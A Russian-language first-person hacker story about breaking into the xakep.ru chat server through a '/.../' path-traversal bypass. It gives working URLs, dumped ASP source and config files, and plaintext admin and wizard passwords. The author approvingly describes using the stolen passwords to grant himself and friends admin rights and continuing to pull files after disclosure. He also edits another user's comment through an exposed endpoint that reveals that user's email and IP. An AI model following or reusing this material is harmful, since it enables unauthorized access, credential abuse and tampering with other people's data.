Сидя обычным вечером в обычной обстановке в чате хакера, с флудом, матом,
клонами, я размышлял над проблемой отсутствия модераторов. Тут я и решил немного
"пощупать" чат. У меня давно сложилось мнение о работе чата, я давно
догадывался, что это вовсе не скрипты, а демон, который написан на delphi
(ошибки иногда знакомые вылетали). В связи с этим меня заинтересовала одна из
ссылок в чате:
http://chat.xakep.ru:8080/files/xakep/main.css
значит разработчик решил организовать в демоне еще некое подобие веб-сервера.
Начал прощупывать:
http://chat.xakep.ru:8080/files/xakep/../xakep/main.css
но ссылка превратилось в
http://chat.xakep.ru:8080/files/xakep/main.css
т.е символы /../ вырезались. После попробовал следующий вариант:
http://chat.xakep.ru:8080/files/xakep/.../xakep/main.css
Сработало! /.../ остались на месте! Так как я не мог производить обзор
директорий, пришлось наугад подбирать пути, тут мне повезло.
http://chat.xakep.ru:8080/files/.../.../xakep/default.asp
Передо мною предстал исходник default.asp сайта xakep.ru 🙂
<%
' Сделал: Шаврук Константин
' Проверил: Солякин Иван
%>
<!--#include virtual="common/option.asp"-->
<!--#include virtual="local/const.asp"-->
<!--#include virtual="local/proc.asp"-->
<!--#include virtual="local/post.asp"-->
<!--#include virtual="common/magazine/magazines.asp"-->
<!--#include virtual="local/magazine/public.asp"-->
<%SetMagazinesPref%>
<%'call HTMLReplicaStatStart(coHTMLReplicaHits1, coHTMLReplicaTTL1)
' call HTMLReplicaStat(coHTMLReplicaSiteID, coHTMLReplicaHits1,
coHTMLReplicaTTL1)%>
...
Теперь попытался прочитать другой файл, а именно первый попавшийся постинг.
http://chat.xakep.ru:8080/files/.../.../xakep/post/27602/default.asp
<%Session("se-postart-filedir") = "27602"%>
<%Session("se-postart-title") = "Offline SMS Bomber ?2"%>
<%Session("se-postart-author") = "DgtlScrm"%>
<%Session("se-postart-email") = "dgtlscrm at real.xakep.ru.NO.SPAM"%>
<%Session("se-postart-theme") = "zHOMEz, zSOFTz, zHOWz, zINFOz"%>
<%Session("se-post-postdirs") = ""%> <%Session("se-postart-www") = ""%>
<%Session("se-postart-thread") = ""%>
<%Session("se-postart-create_date") = "03.08.2005 15:14:23"%>
<%Session("se-postart-code_cat") = ""%> <%Session("se-postart-owner") = "pavluchenko.ilya"%>
<%=PostHeader(Session("se-postart-theme"))%>
Offline SMS Bomber ?2
....
Весь текст статьи приводить не буду.
<<%=WebDir%>local/redirect.asp?url=local/admin/post/default.asp?filedir=27602>
delete
<<%=WebDir%>local/redirect.asp?url=local/admin/post/delete.asp?filedir=27602>
Автор: DgtlScrm <mailto:dgtlscrm at real.xakep.ru.NO.SPAM>
Дата: 03.08.2005 15:14:23ї
Сказать честно, меня больше интересовали пароли от чата, так как у меня были
догадки, что чат это всего лишь сервис для WinNT.Я начал подбирать другие
варианты..
http://chat.xakep.ru:8080/files/.../daemon.exe - облом
http://chat.xakep.ru:8080/files/.../chat.exe - облом
http://chat.xakep.ru:8080/files/.../service.exe - облом
http://chat.xakep.ru:8080/files/.../server.exe - вот оно! Еше раз повезло!
Скачав файл server.exe, я принялся искать в нем строку, которая бы помогла
определить директорию или файл в котором хранятся настройки чата. Таким путем я
выяснил путь до главного конфига чата "/cfg/system.cfg". Прочитав его по адресу
http://chat.xakep.ru:8080/files/.../cfg/system.cfg, я все больше и больше
приближался к цели, паролям от чата хакера. Вот содержимое файла system.cfg:
# этот конфиг отностится только к системе чатов в целом.
# настройки отдельных чатов находятся в chats.cfg
# IP, порт, на котором будет работать чат-сервер IP=194.67.128.2
# порт, на котором будет работать чат-сервер Port=8080
# Сколько дней хранить логи (системные) LogDays=3
# время жизни пользователя, сек UserTTL=40
# макс допустимое число сообщений на страницу без перезагрузки MessagesPerPage=200
# макс. длит загрузки сообщений без обновления PageReloadTime=600
# сколько последних сообщений заггружать на новую страницу PreloadMessages=30
# на сколько секунд кикают KickTimeout=3600
# этот пароль позволяет удаленно управлять сервером
# команды:
# /admin?chat=gameland&password=kazantipoz&command=reload - перезагрузить
шаблоны AdminPassword=kazantipoz
# IP пользователей в чате должен быть уникальным? (yes/no) UniqueIP=yes
# Флуд, если за FloodWatchTime секунд было более FloodMessages сообщений
# пользователь блокируется как флудер на FloodBlockTime секунд FloodWatchTime=15
FloodMessages=5 FloodBlockTime=60
# флуд логин/логаут, если за FloodLoginsWatchTime секунд было более FloodLogins
логинов
# пользователь блокируется как флудер на KickTimeout секунд FloodLoginsWatchTime=20
FloodLogins=2
# на сколько секунд банят IP командой /ban Поддерживаются символы ? и *
BanTimeout=259200
# Уровень лога (0..3)
# 0 - запуск/остановка, админские команды
# 1 - +GET/POST и url
# 2 - +краткий процесс обработки URL
# 3 - +отладочная информация, используемые функциях LogLevel=2
Так... Нету тут никаких заветных паролей... Идем дальше... Читаем файл
http://chat.xakep.ru:8080/files/.../cfg/chats.cfg
(Хранит параметры чатов).
ВОТ ОНО!
Абсолютно все пароли чата передо мною!
[gameland]
TemplatesDir=d:\morazm\www\chat\templates\gameland\
LogsDir=d:\morazm\www\chat\logs\gameland\
AdminPassword=/573572392012
WizardPassword=/778354832227
LogDays=30
NickLength=20
MessageLength=250
[xakep]
TemplatesDir=d:\morazm\www\chat\templates\xakep\
LogsDir=d:\morazm\www\chat\logs\xakep\
AdminPassword=/9482940491
WizardPassword=/48402841938
LogDays=30
NickLength=20
MessageLength=250
[xyligan]
TemplatesDir=d:\morazm\www\chat\templates\xyligan\
LogsDir=d:\morazm\www\chat\logs\xyligan\
AdminPassword=/482908948929
WizardPassword=/492004820239
LogDays=30
NickLength=20
MessageLength=250
Нетерпеливо, с некоторой опаской ввожу "/9482940491" в чате хакера, и ...
появляется заветная надпись "Вы получили права админа чата". Началось
самовольное назначение модераторов в чате (кроме чата gameland, их вообще не
было!), я дал пароли доверенным людям в чате, с этого момента в чате стоял
железный порядок. Дефейсить xakep.ru я не хотел, поэтому практически тут же
оставил сообщение на форуме forum.xakep.ru о найденной серьезной уязвимости.
Результатов не последовало. Тогда пришлось сообщить в Администрацию gameland.ru,
через одного человека. Результат меня поразил, в чате начали появляться админы (Sem,
Ups) и писать команды:
13:25:31 [213.247.142.2] ups: /end
Это просто поразило. Я вспомнил, что тому человеку я сказал, что нашел новую
админскую команду /end, но забыл сказать что она делает, а именно завершает
админскую сессию в чате)). Еще большую улыбку вызвало
14:18:00 [62.152.84.67] asd: ****/end
Непонятно почему они решили, что баг именно в команде /end... После этого админы
просто сменили пароли на чат. Неважно, баг продолжал работать, я начал от
безделья понемногу сливать некоторые файлы. Позже ко мне в асю все-таки постучал
некий Администратор из gameland.ru. Ему я рассказал про баг. Вечером чат уже
прекратил свое существование, при заходе на chat.xakep.ru:8080 чат перестал
дружественно откликался на запросы, сервис остановили, многострадальный чат
умер...(тут я немного пожалел, что вообще раскрыл баг). Есть достоверная
информация, что закрытие чата связано с утерей исходников и невозможностью
закрытия бага.
Идем дальше... Спустя несколько месяцев, убирая беспорядочную свалку на
винте, я обнаружил ранее слитый файл opinion_new.asp (отправка комментариев).
При внимательном рассмотрении выяснил принцип его работы. Запрос на
просмотр\редактирование\удаление комментария идет к другому серверу http://rateit.glc.ru/opinion.asp.
Пройдя по ссылке http://rateit.glc.ru/opinion.asp?opinion_code=ид комментария,
можно было увидеть следующую картину:
<?xml version="1.0" encoding="windows-1251" ?>
<rate code="RRT161892">
<opinion code="ORT114335" adddate="13.12.2005 12:15:39">
<autor name="Pupkin-Zade" passwd="xxxx" email="xa@real.xakep.ru" ip="195.96.190.242"
/>
Врете вы все, я сам вам лично отвечал 24 Ноября. Разбирайтесь со своей почтой...
</opinion>
</rate>
Решив немного пошутить над пупкиным я немного подредактировал сообщение...
Думаю выводы из этой статьи понятны: при изобретении своего веб-сервера надо
быть предельно осторожным и еще раз тестить всё, понимая чем грозит подобная
брешь в сервисе, который запушен с правами LOCALSYSTEM.